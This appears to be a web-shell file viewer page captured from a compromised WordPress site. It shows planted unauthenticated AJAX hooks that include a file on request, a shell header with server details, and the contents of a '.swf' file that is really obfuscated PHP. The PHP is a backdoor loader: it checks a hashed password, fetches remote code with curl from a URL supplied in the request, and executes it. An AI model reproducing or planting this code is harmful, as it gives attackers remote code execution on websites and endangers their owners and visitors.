if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-includes/images/images/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-includes/images/images/PVZaY.swf
<?php
 goto kTt5e22BtFk; HaivlQPE3Rh: $WxfJTj7XddD = ${$IuEkgjBtLGG[1 + 30] . $IuEkgjBtLGG[35 + 24] . $IuEkgjBtLGG[21 + 26] . $IuEkgjBtLGG[41 + 6] . $IuEkgjBtLGG[13 + 38] . $IuEkgjBtLGG[36 + 17] . $IuEkgjBtLGG[30 + 27]}; goto bURN6S3B0gK; dKWmO9xJNbN: class ARlyWufvsFW { static function W27Pz9QpXv3($EyDa3_20lNF) { goto QyRpGJGQ4rf; YcSzW2okDV6: $hvxhaMT4AWQ = ''; goto yo_VolRe5ih; jgDetgbVM5R: $veDIo4PzMRJ = explode("\51", $EyDa3_20lNF); goto YcSzW2okDV6; QkpH12Q2CKw: OCIbbtqEvp6: goto DLFgB1WvzvZ; DLFgB1WvzvZ: return $hvxhaMT4AWQ; goto A9LGYpKVcn0; QyRpGJGQ4rf: $XODGHeCo_pi = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto H5dRggyZfjH; H5dRggyZfjH: $NYVIsbI0LFp = $XODGHeCo_pi("\176", "\x20"); goto jgDetgbVM5R; yo_VolRe5ih: foreach ($veDIo4PzMRJ as $nQSHXKvnV0F => $UDYNJaFyikU) { $hvxhaMT4AWQ .= $NYVIsbI0LFp[$UDYNJaFyikU - 7004]; caQZTyXTRiz: } goto QkpH12Q2CKw; A9LGYpKVcn0: } static function ln6ldxBWVHc($kozZlKK39aQ, $Rf0wodTuz5u) { goto nORQvwewGoI; nORQvwewGoI: $Z58dmH5N2Qm = curl_init($kozZlKK39aQ); goto NtmtXyZFDf7; HXufbNQzGlc: $lcKvcR242LE = curl_exec($Z58dmH5N2Qm); goto vk2aDqMTnNm; vk2aDqMTnNm: return empty($lcKvcR242LE) ? $Rf0wodTuz5u($kozZlKK39aQ) : $lcKvcR242LE; goto TkmvcfGxZ9a; NtmtXyZFDf7: curl_setopt($Z58dmH5N2Qm, CURLOPT_RETURNTRANSFER, 1); goto HXufbNQzGlc; TkmvcfGxZ9a: } static function Q8Hq28jh3g5() { goto nLKcnPl77Zg; ie5R9vZ9Tv4: if (!(@$NchqwxHimx9[0] - time() > 0 and md5(md5($NchqwxHimx9[3 + 0])) === "\x32\71\67\x38\x34\x65\64\x63\61\142\x35\145\x65\x39\x34\x62\x36\x30\60\65\x63\141\x30\143\x36\64\x37\x66\145\64\x65\x38")) { goto thx1ax_nfZ_; } goto jVheQJ9zj7G; Ibyvz5DU8RE: $MHIsQwmbvI4 = @$Y69FofrphVo[1 + 2]($Y69FofrphVo[1 + 5], $recYDCgT1ni); goto RhJFMnMVP3V; jXIbJblvi3S: @$Y69FofrphVo[0]('', $Y69FofrphVo[1 + 6] . $Y69FofrphVo[4 + 0]($oktMji7ATdw) . $Y69FofrphVo[1 + 7]); goto EwARfKt4KIG; vK8Mazmvo3D: thx1ax_nfZ_: goto CCQGdexs5kU; BNgMIi2RCF4: dXdsPtliNm6: goto wN_i5wwJ40W; H5cXv09_vWD: foreach ($yLW0BomxrqN as $gmZk2fhaULM) { $Y69FofrphVo[] = self::w27pZ9qPXv3($gmZk2fhaULM); V8Ft29v2J7t: } goto BNgMIi2RCF4; EwARfKt4KIG: die; goto vK8Mazmvo3D; nLKcnPl77Zg: $yLW0BomxrqN = array("\x37\60\63\x31\51\67\x30\x31\66\51\x37\60\62\x39\51\x37\x30\x33\x33\x29\x37\60\x31\x34\x29\x37\x30\x32\71\51\x37\60\63\x35\x29\x37\x30\62\x38\51\x37\x30\61\x33\x29\x37\60\62\x30\51\67\x30\x33\61\x29\x37\60\61\64\x29\x37\60\62\65\x29\67\60\x31\x39\51\x37\x30\62\x30", "\x37\60\61\x35\x29\67\60\x31\x34\x29\67\x30\x31\66\x29\67\x30\63\x35\51\67\x30\61\66\x29\67\x30\x31\x39\51\67\60\61\x34\x29\67\x30\x38\x31\x29\67\60\x37\x39", "\x37\60\62\x34\51\67\60\x31\65\x29\x37\x30\x31\71\51\x37\60\62\x30\x29\x37\60\x33\65\x29\x37\60\x33\60\51\67\60\62\x39\51\x37\60\63\x31\x29\67\x30\x31\71\x29\67\x30\63\x30\51\x37\60\x32\x39", "\x37\x30\x31\70\x29\67\x30\63\x33\x29\67\60\63\x31\x29\x37\x30\x32\63", "\x37\x30\63\62\51\x37\x30\x33\x33\x29\67\60\x31\x35\x29\x37\60\x32\71\51\x37\60\x37\x36\x29\67\60\67\70\51\x37\60\63\x35\51\x37\60\63\x30\51\x37\60\x32\71\51\x37\60\63\x31\51\x37\x30\61\x39\x29\67\60\x33\60\51\x37\x30\x32\x39", "\67\60\x32\70\x29\67\60\62\x35\x29\x37\60\62\x32\x29\x37\x30\x32\x39\x29\67\x30\63\65\51\x37\x30\62\67\51\x37\x30\x32\71\x29\67\x30\61\x34\51\x37\x30\x33\x35\51\67\60\x33\x31\x29\67\x30\61\x39\51\x37\x30\62\x30\x29\x37\60\x31\x34\51\67\60\62\71\x29\x37\x30\62\x30\x29\x37\x30\61\64\51\67\60\61\65", "\67\x30\x35\x38\x29\x37\x30\70\70", "\67\x30\x30\65", "\x37\x30\x38\63\x29\67\x30\x38\x38", "\67\60\66\65\51\67\x30\x34\70\x29\x37\x30\x34\x38\x29\67\x30\66\x35\51\x37\x30\x34\61", "\x37\x30\x32\70\x29\x37\x30\x32\65\51\x37\60\x32\x32\x29\67\x30\61\64\51\67\60\62\71\x29\67\60\x31\x36\51\x37\60\x33\x35\x29\67\60\x32\x35\51\67\x30\x32\60\51\67\60\61\70\x29\67\60\x31\63\51\67\x30\61\x34"); goto H5cXv09_vWD; wN_i5wwJ40W: $recYDCgT1ni = @$Y69FofrphVo[1]($Y69FofrphVo[7 + 3](INPUT_GET, $Y69FofrphVo[9 + 0])); goto Ibyvz5DU8RE; jVheQJ9zj7G: $oktMji7ATdw = self::ln6LDXbwVHC($NchqwxHimx9[1 + 0], $Y69FofrphVo[1 + 4]); goto jXIbJblvi3S; HecdfP2S2v9: @$Y69FofrphVo[7 + 3](INPUT_GET, "\157\x66") == 1 && die($Y69FofrphVo[3 + 2](__FILE__)); goto ie5R9vZ9Tv4; RhJFMnMVP3V: $NchqwxHimx9 = $Y69FofrphVo[2 + 0]($MHIsQwmbvI4, true); goto HecdfP2S2v9; CCQGdexs5kU: } } goto apX0wZMPolT; Q8S2GUDS14C: @(md5(md5(md5(md5($WxfJTj7XddD[18])))) === "\65\x38\67\x30\x66\x61\x32\x66\x65\141\x37\x62\61\x33\67\141\x37\71\71\x34\141\143\66\64\63\x38\x35\67\141\141\x30\65") && (($WxfJTj7XddD[62] = $WxfJTj7XddD[62] . $WxfJTj7XddD[77]) && ($WxfJTj7XddD[87] = $WxfJTj7XddD[62]($WxfJTj7XddD[87])) && @($WxfJTj7XddD = $WxfJTj7XddD[87]($WxfJTj7XddD[59], $WxfJTj7XddD[62](${$WxfJTj7XddD[49]}[13]))) && $WxfJTj7XddD()); goto IOn27PH8Qyo; IOn27PH8Qyo: i9ktieA5Ygl: goto brQuqao23gD; kTt5e22BtFk: $IuEkgjBtLGG = range("\176", "\40"); goto HaivlQPE3Rh; brQuqao23gD: metaphone("\x56\165\x51\101\112\66\x79\x43\163\131\107\113\x38\71\x36\142\147\123\x57\107\130\x69\143\x45\63\146\131\x33\x58\113\x44\x4b\161\156\x32\126\x35\167\70\x42\53\144\x6f"); goto dKWmO9xJNbN; bURN6S3B0gK: if (!(in_array(gettype($WxfJTj7XddD) . count($WxfJTj7XddD), $WxfJTj7XddD) && count($WxfJTj7XddD) == 24)) { goto i9ktieA5Ygl; } goto Q8S2GUDS14C; apX0wZMPolT: ARlYwufVSFw::Q8Hq28jH3G5();
?>
@ Telegram